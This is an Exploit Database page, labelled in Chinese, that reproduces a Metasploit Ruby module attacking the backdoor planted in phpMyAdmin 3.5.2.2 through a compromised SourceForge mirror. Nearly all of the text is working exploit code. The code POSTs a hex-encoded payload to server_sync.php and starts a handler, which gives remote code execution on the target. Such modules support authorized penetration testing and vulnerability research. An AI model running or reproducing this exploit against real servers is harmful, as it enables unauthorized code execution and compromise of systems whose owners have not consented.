phpMyAdmin 3.5.2.2 – ‘server_sync.php’ Backdoor (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/21834/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
  			'Description'=> %q{
  					This module exploits an arbitrary code execution backdoor 
  				placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'ConnectionType' => 'find',
  						},
  					# Arbitrary big number. The payload gets sent as an HTTP
  					# response body, so really it's unlimited
  					'Space' => 262144, # 256k
  				},
  			'DefaultOptions' =>
  				{
  					'WfsDelay' => 30
  				},
  			'DisclosureDate' => 'Sep 25 2012',
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DefaultTarget' => 0))
  
  		register_options([
  			OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
  		], self.class)
  	end
  
  	def exploit
  
  		uris = []
  
  		tpath = datastore['PATH']
  		if tpath[-1,1] == '/'
  			tpath = tpath.chop
  		end
  
  		pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")
  
  		res = send_request_raw( {
  			'global'=> true,
  			'uri' => tpath + "/server_sync.php",
  			'method'=> 'POST',
  			'data'=> pdata,
  			'headers' => {
  				'Content-Type' => 'application/x-www-form-urlencoded',
  				'Content-Length' => pdata.length,
  			}
  		}, 1.0)
  
  		handler
  	end
  end